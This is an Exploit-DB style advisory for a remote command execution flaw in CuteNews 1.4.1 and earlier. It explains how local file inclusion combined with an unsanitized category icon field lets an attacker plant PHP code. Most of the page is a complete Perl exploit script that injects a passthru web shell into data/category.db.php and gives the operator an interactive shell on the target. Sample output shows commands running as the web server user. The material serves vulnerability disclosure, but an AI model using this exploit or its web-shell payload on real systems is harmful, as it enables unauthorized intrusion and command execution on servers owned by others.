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vendor:
CuteNews
by:
cijfer
7.5
CVSS
HIGH
Remote Command Execution
94
CWE
Product Name: CuteNews
Affected Version From: CuteNews <=1.4.1
Affected Version To: CuteNews <=1.4.1
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2005

Cijfer-cnxpl – CuteNews <=1.4.1 Remote Command Execution

This particular vulnerability is already known (sort of). A bug as exact as this one was found by rgod in CuteNews. The sole difference between his and my bug, are the files that are being exploited. While his was a bug using the following string: show_archives.php?template=../inc/ipban.mdu%00, I found my bug in: show_archives.php?template=../inc/categories.mdu%00. The bug lies in categories.mdu, located in the /inc/ folder of the cutenews directory. By using the 'template' variable in show_archives.php, we can include any local files. In this case, we're including categories.mdu. Every .mdu file within the cutenews package has raw PHP code within it, that is not protected like the normal .php files. $template gets sanitized, but can be bypassed depending on php configuration! This is why on some 1.4.0's it works and on some others it does not. It all depends on configuration and whether or not register_globals needs to be on. Looking into categories.mdu, we notice the following to create our exploit string: if($member_db[1] != 1){ msg("error", "Access Denied", "You don't have permission to edit categories"); } elseif($action == "doedit") { cannot write arbitrary php code to $cat_name :( $cat_name = htmlspecialchar($cat_name); but we can write arbitrary php code to $cat_icon! $cat_icon = htmlspecialchar($cat_icon); so, we can write arbitrary php code to $cat_icon, and execute it.

Mitigation:

Disable register_globals in php.ini, and ensure that all .mdu files are not accessible from the web.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# cijfer-cnxpl - CuteNews <=1.4.1 Remote Command Execution
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.           
#
## 1. example
#
# [cijfer@kalma:/research]$ ./cijfer-cnxpl.pl -h www.xxxx.org -d /news
# [cijfer@www.xxxx.org /]$ id;uname -a
# uid=48(apache) gid=48(apache) groups=48(apache),29000(web_serving) context=root:system_r:httpd_sys_script_t
# Linux server.xxxx.org 2.6.13-1.1532_FC4 #1 Thu Oct 20 01:30:08 EDT 2005 i686 i686 i386 GNU/Linux
# [cijfer@www.xxxx.org /]$
#
## 2. explanation
#
# this particular vulnerability is already known (sort of). a
# bug as exact as this one was found by rgod in CuteNews. the
# sole difference between his and my bug, are the files that
# are being exploited. while his was a bug using the following
# string:
#
#	show_archives.php?template=../inc/ipban.mdu%00
#
# i found my bug in:
#
#	show_archives.php?template=../inc/categories.mdu%00
#
## 3. the bug
#
# the bug lies in categories.mdu, located in the /inc/ folder
# of the cutenews directory.
#
# by using the 'template' variable in show_archives.php, we
# can include any local files. in this case, we're including
# categories.mdu. why? every .mdu file within the cutenews 
# package has raw PHP code within it, that is not protected
# like the normal .php files.
#
# $template gets sanitized, but can be bypassed depending on
# php configuration! this is why on some 1.4.0's it works and
# on some others it does not. it all depends on configuration
# and whether or not register_globals needs to be on.
#
# 	if(file_exists("$cutepath/data/${template}.tpl")){ require("$cutepath/data/${template}.tpl"); }
#       ...
#
# looking into categories.mdu, we notice the following to
# create our exploit string:
#
# 	if($member_db[1] != 1){ msg("error", "Access Denied", "You don't have permission to edit categories"); }
#       ... 
#
#	elseif($action == "doedit")
# 	{
#       ...
#
# cannot write arbitrary php code to $cat_name :(
#
#	$cat_name = htmlspecialchars(stripslashes($cat_name)); 
#       ...
#
# $cat_icon lacks sanitization :))!
#
#	fwrite($new_cats, "$catid|$cat_name|$cat_icon|||\n");
#       ...
#
# adding together all these elements, it is possible to inject
# php code into data/category.db.php and from there, use our
# injected code to either include a remote php shell, or run
# commands on the system.
#
##
#
# $Id: cijfer-cnxpl.pl,v 0.2 2005/12/26 03:36:00 cijfer Exp cijfer $

use IO::Socket;
use Getopt::Std;
use URI::Escape;

getopts("h:d:");

$host = $opt_h;
$dirs = $opt_d;
$good = 0;

if(!$host)
{
	print "cijfer-cnxpl.pl by cijfer\n";
        print "usage: $0 -h <hostname> -d [/directory]\r\n";
        exit();
}

while()
{
	print "[cijfer@".$host." /]\$ ";
	while(<STDIN>)
	{
		$cmds=$_;
		chomp($cmds);
		last;
	}

if(!$dirs)
{
	$dirs = "/cutenews";
}

$string  = $dirs;
$string .= "/show_archives.php?template=../inc/categories.mdu%00";
$string .= "&member_db[1]=1";
$string .= "&action=doedit";                                #can be changed from 'doedit' to 'add' if no categories exist
$string .= "&cat_name=cijfer";
$string .= "&catid=1";                                      #can be changed to different value if starting catid != 0
$string .= "&cat_icon=%3C%3Fpassthru%28%24_GET%5Bcij%5D%29%3Bdie%28%29%3B%3F%3E";

$cijfer  = $dirs;
$cijfer .= "/data/category.db.php?cij=";
$cijfer .= uri_escape("echo; ");
$cijfer .= "%20%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20"; # _START_
$cijfer .= uri_escape($cmds);
$cijfer .= "%3B%20%65%63%68%6F%20%5F%45%4E%44%5F";          # _END_

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n";

print $sock "GET $string HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n";

print $sock "GET $cijfer HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";

while($result = <$sock>)
{
	if($sock =~ /^403/)
	{
		print "error: 403\n";
		exit();
	}
	if($result =~ /^_END_/)
	{
		$good=0;
	}

	if($good==1)
	{
        	print $result;
	}

	if($result =~ /^_START_/)
	{
		$good=1;
	}
}
}

# milw0rm.com [2006-01-01]